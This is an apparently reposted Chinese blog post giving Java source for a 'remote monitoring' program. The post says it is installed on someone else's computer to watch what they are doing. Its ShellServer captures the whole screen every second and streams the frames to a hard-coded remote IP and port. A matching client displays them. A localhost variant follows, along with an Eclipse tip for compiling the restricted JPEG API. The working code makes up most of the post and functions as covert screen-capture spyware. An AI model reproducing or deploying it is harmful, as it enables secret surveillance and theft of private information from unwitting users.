用java写的远程监控程序

在Eclipse中处理图片,需要引入两个包:
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
报错:
Access restriction: The type JPEGImageEncoder is not accessible due to restriction on required library C:\Java\jre1.6.0_07\lib\rt.jar


此时解决办法:
Eclipse默认把这些受访问限制的API设成了ERROR。只要把Windows-Preferences-Java-Complicer-Errors/Warnings里面的Deprecated and restricted API中的Forbidden references(access rules)选为Warning就可以编译通过。






用java写的远程监控程序,可以看到别人计算机上正在进行的操作

 
在别人机器上安装的程序

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
   private Dimension screenSize;
   private Rectangle rectangle;
   private Robot robot;
   private JPEGImageEncoder encoder;

   public ShellServer() {
     screenSize = Toolkit.getDefaultToolkit().getScreenSize();
     rectangle = new Rectangle(screenSize);//可以指定捕获屏幕的区域
     try{
       robot = new Robot();
     }catch(Exception e){
       e.printStackTrace();
       System.out.println(e);
     }
   }
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
   try{
    socket = new Socket("10.124.10.127",5000);// 连接远程IP
    BufferedImage image = robot.createScreenCapture(rectangle);// 捕获制定屏幕矩形区域
    os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
//    os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));

    os.setLevel(9);
    os.putNextEntry(new ZipEntry("1.jpg"));
    JPEGCodec.createJPEGEncoder(os).encode(image);//图形编码成JPEG
    os.close();
    Thread.sleep(1000);//每秒20帧

   }catch(Exception e){
    e.printStackTrace();
   }finally{
    if(os!=null){
     try{
      os.close();
     }catch(Exception ioe){}
    }
    if(socket!=null){
     try {
      socket.close();
     } catch (IOException e) {
     }
    }
   }
     }
}
public static void main(String[] args) {
new ShellServer().start();
}
}
 
客户端程序,通过此程序可以看到别人正在操作的内容  
import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient extends JFrame{
Dimension screenSize;

public ShellClient() {
super();
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setSize(800, 640);//设置Frame初始
Screen p = new Screen();//屏幕类
Container c = this.getContentPane();
c.setLayout(new BorderLayout());//布局
c.add(p,"Center");//添加一个Panel
new Thread(p).start();//开启线程
this.show();//显示本Frame
}
public static void main(String[] args){
new ShellClient();
}
class Screen extends JPanel implements Runnable{
private Image cimage;
public void run(){
   ServerSocket ss=null;
   try{
   ss=new ServerSocket(5000);//探听5000端口的连接
    while(true){
     Socket s=null;
     try{
      s=ss.accept();//获取一个SOCKET
      ZipInputStream zis=new ZipInputStream(s.getInputStream());
      zis.getNextEntry();//获得ZIP流的ENTRY
      cimage = ImageIO.read(zis);//把ZIP流转换为图片
      //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
      repaint();//重画
     }catch(Exception e){
      e.printStackTrace();
     }finally{
      if(s!=null){
       try {s.close();} catch (IOException e) {}
      }
     }
    }
   }catch(Exception e){}
   finally{
    if(ss!=null){
     try {ss.close();} catch (IOException e) {}
    }
   }
}
public Screen() {
   super();
   this.setLayout(null);
}
public void paint(Graphics g){
   super.paint(g);
   Graphics2D g2 = (Graphics2D) g;
   g2.drawImage(cimage, 0, 0, null);
}
}
}
 
 ///////////////////////////

在Eclipse中处理图片,需要引入两个包:
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
报错:
Access restriction: The type JPEGImageEncoder is not accessible due to restriction on required library C:\Java\jre1.6.0_07\lib\rt.jar


此时解决办法:
Eclipse默认把这些受访问限制的API设成了ERROR。只要把Windows-Preferences-Java-Complicer-Errors/Warnings里面的Deprecated and restricted API中的Forbidden references(access rules)选为Warning就可以编译通过。

 

自己修改的程序

server和client换位,在客户端看服务器屏幕。

server.java

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.zip.*;
public class Server extends Thread {
 private Dimension screenSize;
 private Rectangle rect;
 private Robot robot;
 private JPEGImageEncoder encoder;
 Thread t;
 public static void main(String[] args) {
  new Server();
 }
 public Server() {
  t = new Thread(this);
  t.start();
  screenSize = Toolkit.getDefaultToolkit().getScreenSize();
  rect = new Rectangle(screenSize);// 可以指定捕获屏幕的区域
  try {
   robot = new Robot();
  } catch (Exception e) {
   e.printStackTrace();
   System.out.println(e);
  }
 }
 public void run() {
  ZipOutputStream zos = null;
  Socket socket = null;
  while (true) {
   try {
    socket = new Socket("127.0.0.1", 5000);
    BufferedImage image = robot.createScreenCapture(rect);// 捕获制定屏幕矩形区域
    zos = new ZipOutputStream(socket.getOutputStream());// 加入压缩流
    // os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));
    zos.setLevel(9);
    zos.putNextEntry(new ZipEntry("1.jpg"));
    JPEGCodec.createJPEGEncoder(zos).encode(image);// 图形编码成JPEG
    zos.close();
    Thread.sleep(500);// 每秒20帧
   } catch (Exception e) {
    e.printStackTrace();
   } finally {
    if (zos != null) {
     try {
      zos.close();
     } catch (Exception ioe) {
     }
    }
    if (socket != null) {
     try {
      socket.close();
     } catch (IOException e) {
     }
    }
   }
  }
 }
}

Client.java

import java.awt.*;
import java.awt.image.*;
import javax.imageio.*;
import javax.swing.*;
import java.io.*;
import java.net.*;
import java.util.zip.*;
public class Client extends JFrame {
 MyPanel p;

 public static void main(String[] args) {
  new Client();
 }
 public Client() {
  p = new MyPanel();
  this.add(p);
  this.setTitle("远程监控屏幕");
  this.setSize(800, 500);
  this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  this.setVisible(true);
 }
}
class MyPanel extends JPanel implements Runnable {
 private Image img;
 Thread t;
 public MyPanel() {
  t = new Thread(this);// 开启线程
  t.start();
 }
 public void paint(Graphics g) {
  super.paint(g);
  g.drawImage(img, 0, 0, this);
 }
 public void run() {
  ServerSocket ss = null;
  try {
   System.out.println("启动成功。。等待连接。。。。");
   ss = new ServerSocket(5000);// 探听5000端口的连接
   while (true) {
    Socket s = null;
    try {
     s = ss.accept();// 获取一个SOCKET
     ZipInputStream zis = new ZipInputStream(s.getInputStream());
     zis.getNextEntry();// 获得ZIP流的ENTRY
     img = ImageIO.read(zis);// 把ZIP流转换为图片
     // cimage = ImageIO.read(new
     // FileInputStream("c:/1.jpg"));
     this.repaint();// 重画
    } catch (Exception e) {
     e.printStackTrace();
    } finally {
     if (s != null) {
      try {
       s.close();
      } catch (IOException e) {
      }
     }
    }
   }
  } catch (Exception e) {
  } finally {
   if (ss != null) {
    try {
     ss.close();
    } catch (IOException e) {
    }
   }
  }
 }
}

 

你可能感兴趣的:(java,exception,socket,null,import)